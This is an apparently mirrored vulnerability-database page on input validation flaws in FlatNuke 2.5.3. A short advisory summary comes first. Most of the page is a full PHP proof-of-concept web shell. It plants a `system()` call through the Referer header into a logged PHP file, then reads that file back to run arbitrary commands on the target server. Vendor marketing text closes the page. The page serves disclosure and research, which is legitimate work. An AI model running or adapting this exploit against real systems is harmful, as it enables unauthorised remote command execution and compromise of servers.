source: http://www.securityfocus.com/bid/13882/info
Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.
An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible.
<?php
/*
Flatnuke 2.5.3 Arbitrary Remote Command Injection Shell PoC
Description: A simple PHP PoC script yielding a virtual remote shell
Advisory: http://secwatch.org/advisories/secwatch/20050604_flatnuke.txt
Original: http://secwatch.org/exploits/2005/06/flatnuke_shell.php.info
Fixed version: FlatNuke 2.5.3
Author: SW [at] secwatch [dot] co [dot] uk
References:
http://flatnuke.sourceforge.net/index.php?mod=read&id=1117979256
*/
/* start session */
session_start();
/* initialise session variables. */
if (empty($_SESSION['output']) || !empty($_POST['reset'])) {
$_SESSION['history'] = array();
$_SESSION['output'] = '';
$_SESSION['cmdcnt'] = 0;
$_SESSION['cwd'] = '/';
for($len=8,$r=''; strlen($r)<$len; $r.=chr(!mt_rand(0,2)? mt_rand(48,57):(!mt_rand(0,1)?mt_rand(65,90):mt_rand (97,122))));
$_SESSION['rand'] = $r; // rand string for this session only
}
if (!empty($_POST['CMD'])) {
if (get_magic_quotes_gpc()) {
$_POST['CMD'] = stripslashes($_POST['CMD']);
}
/* save current command in */
if (($i = array_search($_POST['CMD'], $_SESSION['history'])) !== false)
unset($_SESSION['history'][$i]);
array_unshift($_SESSION['history'], $_POST['CMD']);
$_SESSION['output'] .= '$ ' . $_POST['CMD'] . "\n";
}
/* initialise current directory. */
if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_POST['CMD'])) {
$_SESSION['cwd'] = dirname(__FILE__);
} else if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_POST['CMD'], $regs)) {
if ($regs[1][0] == '/') {
$new_dir = $regs[1]; /* absolute path */
} else {
$new_dir = $_SESSION['cwd'] . '/' . $regs[1];/* relative path */
}
while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); /* transform '/./' into '/' */
while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); /* transform '//' into '/' */
while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); /* transform 'x/..' into '' */
$_SESSION['cwd'] = ($new_dir == '') ? "/" : $new_dir;
}
/* build the command history */
if (empty($_SESSION['history'])) {
$js_command_hist = '""';
} else {
$escaped = array_map('addslashes', $_SESSION['history']);
$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
}
?>
<html>
<head>
<title>FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC</title>
<script type="text/javascript" language="JavaScript">
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.CMD.value;
current_line++;
document.shell.CMD.value = command_hist[current_line];
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.CMD.value;
current_line--;
document.shell.CMD.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute("autocomplete", "off");
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.CMD.focus();
}
</script>
<style>
textarea {
border: none;
width: 100%;
padding: 2px 2px 0px;
}
div {
border: inset 2px white;
}
p.prompt {
font-family: monospace;
margin: 0px;
padding: 0px 2px 2px;
}
input.prompt {
border: none;
font-family: monospace;
}
</style>
</head>
<body onload="init()">
<p align="center"><center><h2>FlatNuke 2.5.3 Arbitrary Command Injection Shell PoC</h2></center></p><br />
<form name="shell" method="POST" action="<? echo $_SERVER['PHP_SELF'] ?>">
<table>
<tr>
<td>Host+Path:</td>
<td><input type="text" name="URL" size="35" value="<? echo $_POST['URL'] ?>" /> (e.g http://site.com/path/to/flatnuke/ - note only path to flatnuke root directory)<br /></td>
<tr>
<tr>
<td>Directory:</td>
<td><?php echo $_SESSION['cwd']; ?></td>
<tr>
</table>
<div>
<?php
/* tidy up request / set some defaults if not provided */
$urlbits = parse_url($_POST['URL']);
$host = ($urlbits['host'] != "") ? $urlbits['host'] : "";
$port = ($urlbits['port'] != "") ? $urlbits['port'] : 80;
$path = ($urlbits['path'] != "") ? $urlbits['path'] : "/flatnuke/";
$quer = ($urlbits['query'] != "") ? "?".$urlbits['query'] : "";
$cmd = ($_POST['CMD'] != "") ? addslashes("cd {$_SESSION['cwd']} && ".$_POST['CMD']) : "";
$reflog = $path."misc/flatstat/referer.php";
$int = $_SESSION['cmdcnt']++;
$referer = "http://noneexistantsite.com/?s{$_SESSION['rand']}$int=<?php system(\"$cmd\")?>&e{$_SESSION['rand']}$int";
/* ensure all required vars are present */
if (isset($_POST['URL']) && $host != "" && $cmd != "") {
/* connect to target */
if (!$fp = fsockopen($host, $port, $errno, $errstr)) {
echo "Cound not connect to <i>$host</i> ($errstr - $errno)<br/>\n";
} else {
/* make HTTP request */
fputs($fp, "GET $path.$quer HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Referer: $referer\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fclose($fp);
usleep(150000);
/* retrieve command output */
if ($result = file_get_contents("http://$host:$port$reflog")) {
/* strip other irrelevant referer information */
$trim = str_replace("http://noneexistantsite.com/?s{$_SESSION['rand']}$int=", "", stristr($result, "http://noneexistantsite.com/?s{$_SESSION['rand']}$int="));
$trim = str_replace(stristr($trim, "&e{$_SESSION['rand']}$int"), "", $trim);
/* display trimmed command output */
$_SESSION['output'] .= htmlspecialchars($trim);
}
}
}
?>
<textarea name="output" readonly="readonly" cols="90" rows="30">
<?php
$lines = substr_count($_SESSION['output'], "\n");
$padding = str_repeat("\n", max(0, 36 - $lines));
echo rtrim($padding . $_SESSION['output']);
?>
</textarea>
<p class="prompt">
$ <input class="prompt" type="text" name="CMD" size="78" onkeyup="key(event)" tabindex="1" />
</p>
</div><br /><br />
<input type="submit" value="Execute" /> <input type="submit" name="reset" value="Reset" />
</form>
</body>
</html>
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation